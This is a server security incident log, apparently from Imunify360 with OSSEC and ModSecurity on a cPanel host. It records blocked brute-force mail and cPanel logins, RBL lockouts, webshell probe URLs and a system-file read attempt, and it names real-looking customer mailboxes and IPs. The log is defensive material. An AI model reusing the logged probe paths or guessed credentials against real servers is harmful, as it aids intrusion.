# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.111.152.229
country_id: 3469034
description:
Jan 16 10:32:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.111.152.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.62.34.216
country_id: 6252001
description:
Jan 16 10:34:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.62.34.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-16 10:34:18 dovecot_plain authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net (treencrism) [71.62.34.216]:53264: 535 Incorrect authentication data (set_id=sabi@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.111
country_id: 3175395
description:
Jan 16 10:35:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.83
country_id: 1814991
description:
2026-01-16 10:35:24 dovecot_login authenticator failed for H=(atxlk) [180.143.244.83]:58024: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.159
country_id: 3865483
description:
Jan 16 10:35:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.83
country_id: 1814991
description:
2026-01-16 10:35:58 dovecot_login authenticator failed for H=(cmoql) [180.143.244.83]:58024: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.159
country_id: 3865483
description:
Jan 16 10:36:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.250.149
country_id: 6252001
description:
[2026-01-16 10:37:37 +0800] info [cpaneld] 172.58.250.149 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.228.113.247
country_id: 2017370
description:
[2026-01-16 10:37:39 +0800] info [cpaneld] 5.228.113.247 - box "GET /login/?login_only=1&user=box&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user box (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 10:37:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.187.54.70
country_id: 6252001
description:
[2026-01-16 10:37:41 +0800] info [whostmgrd] 67.187.54.70 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.70.229.111
country_id: 6252001
description:
[2026-01-16 10:37:34 +0800] info [cpaneld] 68.70.229.111 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.159
country_id: 3175395
description:
Jan 16 10:40:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.254
country_id: 3469034
description:
Jan 16 10:41:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.159
country_id: 3175395
description:
Jan 16 10:41:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.58
country_id: 3469034
description:
Jan 16 10:42:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.254
country_id: 3469034
description:
Jan 16 10:42:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 10:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57955: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.230.176.217
country_id: 2921044
domain: www.nexuscollection.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:10-45.5.230.176.217||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.230.170.179
country_id: 2921044
domain: www.nexuscollection.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:10-45.5.230.170.179||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.172.175.197
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/img/photos/377644.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.240.230
country_id: 2510769
description:
Jan 16 10:46:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.240.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.250.107
country_id: 798544
description:
Jan 16 10:46:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.250.107 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/login.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.32
country_id: 953987
description:
Jan 16 10:49:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.32 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-16 10:49:27 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.159.124.19
country_id: 3865483
description:
Jan 16 10:51:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.159.124.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.135
country_id: 1269750
description:
Jan 16 10:51:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.135 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.106.86.112
country_id: 3469034
description:
Jan 16 10:53:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.106.86.112 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-16 10:54:59 +0800] info [webmaild] 115.134.149.232 - general02@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.208
country_id: 1733045
description:
[2026-01-16 10:57:14 +0800] info [webmaild] 27.125.241.208 - jlpom@ajplantations.com.my "POST /cpsess8792809324/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.46] != Current IP Address [27.125.241.208]


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 20.215.220.195
country_id: 798544
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/geoclue/geoclue.conf||User:root||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:00:55 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "GET /cpsess5505014609/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 11:00:11 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61027: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:01:00 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "GET /cpsess5505014609/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.170.214.75
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.143.59.184
country_id: 6252001
description:
2026-01-16 11:02:40 dovecot_login authenticator failed for H=([166.143.59.184]) [166.143.59.184]:18672: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:02:03 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "POST /cpsess4018509503/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.202
country_id: 953987
description:
Jan 16 11:03:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.202 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:03:03 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "POST /cpsess4018509503/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.202
country_id: 953987
description:
Jan 16 11:04:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.202 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:04:03 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "POST /cpsess4018509503/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.109.252
country_id: 3996063
description:
Jan 16 11:04:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.109.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.137.39
country_id: 2510769
description:
Jan 16 11:04:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.137.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.137.39
country_id: 2510769
description:
Jan 16 11:05:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.137.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.225
country_id: 953987
description:
Jan 16 11:07:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.225 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.241
country_id: 1733045
description:
[2026-01-16 11:07:53 +0800] info [webmaild] 27.125.241.241 - jlpom@ajplantations.com.my "POST /cpsess9763503432/3rdparty/roundcube/?_task=mail&_action=autocomplete HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.218] != Current IP Address [27.125.241.241]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.8
country_id: 1733045
description:
[2026-01-16 11:07:25 +0800] info [webmaild] 27.125.241.8 - jlpom@ajplantations.com.my "GET /cpsess2601267093/3rdparty/roundcube/?_task=settings HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.7] != Current IP Address [27.125.241.8]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.232.164.81
country_id: 798544
description:
Jan 16 11:07:29 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.232.164.81 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.218
country_id: 1733045
description:
[2026-01-16 11:07:31 +0800] info [webmaild] 27.125.241.218 - jlpom@ajplantations.com.my "GET /cpsess9763503432/3rdparty/roundcube/?_task=settings&login=1&post_login=22871070547330 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.8] != Current IP Address [27.125.241.218]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.225
country_id: 953987
description:
Jan 16 11:08:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.17.217.141
country_id: 1814991
description:
Jan 16 11:10:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.17.217.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.17.217.141
country_id: 1814991
description:
2026-01-16 11:10:54 dovecot_login authenticator failed for H=([218.17.217.141]) [218.17.217.141]:1825: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.234.9.218
country_id: 2017370
description:
Jan 16 11:12:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.234.9.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 11:12:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57995: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.173
country_id: 3469034
description:
Jan 16 11:12:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.9.218
country_id: 2017370
description:
2026-01-16 11:12:57 dovecot_login authenticator failed for H=([213.234.9.218]) [213.234.9.218]:51426: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-16 11:14:42 H=([94.156.152.18]) [94.156.152.18]:50694 F=<patrick.berger@huawei.com> rejected RCPT <enquiry@ms-chemicals.net>: SPF: 94.156.152.18 is not allowed to send mail from huawei.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.229.254.207
country_id: 2017370
description:
Jan 16 11:16:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.229.254.207 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.229.254.207
country_id: 2017370
description:
2026-01-16 11:16:53 dovecot_login authenticator failed for H=([87.229.254.207]) [87.229.254.207]:56312: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.180
country_id: 2542007
description:
2026-01-16 11:17:46 dovecot_plain authenticator failed for H=(etiaccity) [102.53.15.180]:55874: 535 Incorrect authentication data (set_id=info@symphony-led.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.155.146.33
country_id: 2017370
description:
Jan 16 11:17:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.155.146.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.155.146.33
country_id: 2017370
description:
2026-01-16 11:17:25 dovecot_login authenticator failed for H=(ip-45-155-146-33.ip.asarta.ru) [45.155.146.33]:60128: 535 Incorrect authentication data (set_id=purchasing3)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.72.32
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-17.92.71.72.32||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.180
country_id: 2542007
description:
Jan 16 11:17:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.180 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-21.89.110.114.187||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.177
country_id: 3469034
description:
Jan 16 11:21:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.177 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 184.105.247.194
country_id: 6252001
description:
Jan 16 11:21:46 sv3 pure-ftpd[427978]: (?@184.105.247.194) [INFO] New connection from 184.105.247.194


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.115
country_id: 1269750
description:
Jan 16 11:21:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.177
country_id: 3469034
description:
Jan 16 11:22:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.177 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.27.44
country_id: 1733045
description:
[2026-01-16 11:24:07 +0800] info [webmaild] 60.54.27.44 - sge@ajplantations.com.my "POST /cpsess5827764733/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [175.137.60.145] != Current IP Address [60.54.27.44]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 132.255.102.150
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/SylkTest.slk HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.212.10
country_id: 798544
description:
Jan 16 11:25:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.212.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.212.10
country_id: 798544
description:
Jan 16 11:25:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.212.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.42
country_id: 1269750
description:
Jan 16 11:26:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.2
country_id: 3175395
description:
Jan 16 11:26:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.2
country_id: 3175395
description:
Jan 16 11:26:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.224.169.28
country_id: 6252001
description:
Jan 16 11:27:34 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.224.169.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.224.169.28
country_id: 6252001
description:
2026-01-16 11:27:36 dovecot_plain authenticator failed for H=c-71-224-169-28.hsd1.pa.comcast.net (menes) [71.224.169.28]:60086: 535 Incorrect authentication data (set_id=rd2.project@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 11:28:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61111: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.248.76.43
country_id: 2363686
description:
Jan 16 11:28:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.248.76.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.43
country_id: 953987
description:
Jan 16 11:28:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.203.95.161
country_id: 3996063
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Old-Photo/stretch film4-250x250.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.76.154
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-30.92.71.76.154||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 11:31:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.91.178.3
country_id: 6254930
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?path=35&product_id=461&route=product/product HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.226.166.8
country_id: 2017370
description:
[2026-01-16 11:32:25 +0800] info [cpaneld] 91.226.166.8 - usfoo "GET /login/?login_only=1&user=usfoo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfoo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.206.81.74
country_id: 99237
description:
[2026-01-16 11:32:28 +0800] info [cpaneld] 185.206.81.74 - usf "GET /login/?login_only=1&user=usf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.226.127.183
country_id: 6252001
description:
[2026-01-16 11:32:10 +0800] info [cpaneld] 73.226.127.183 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
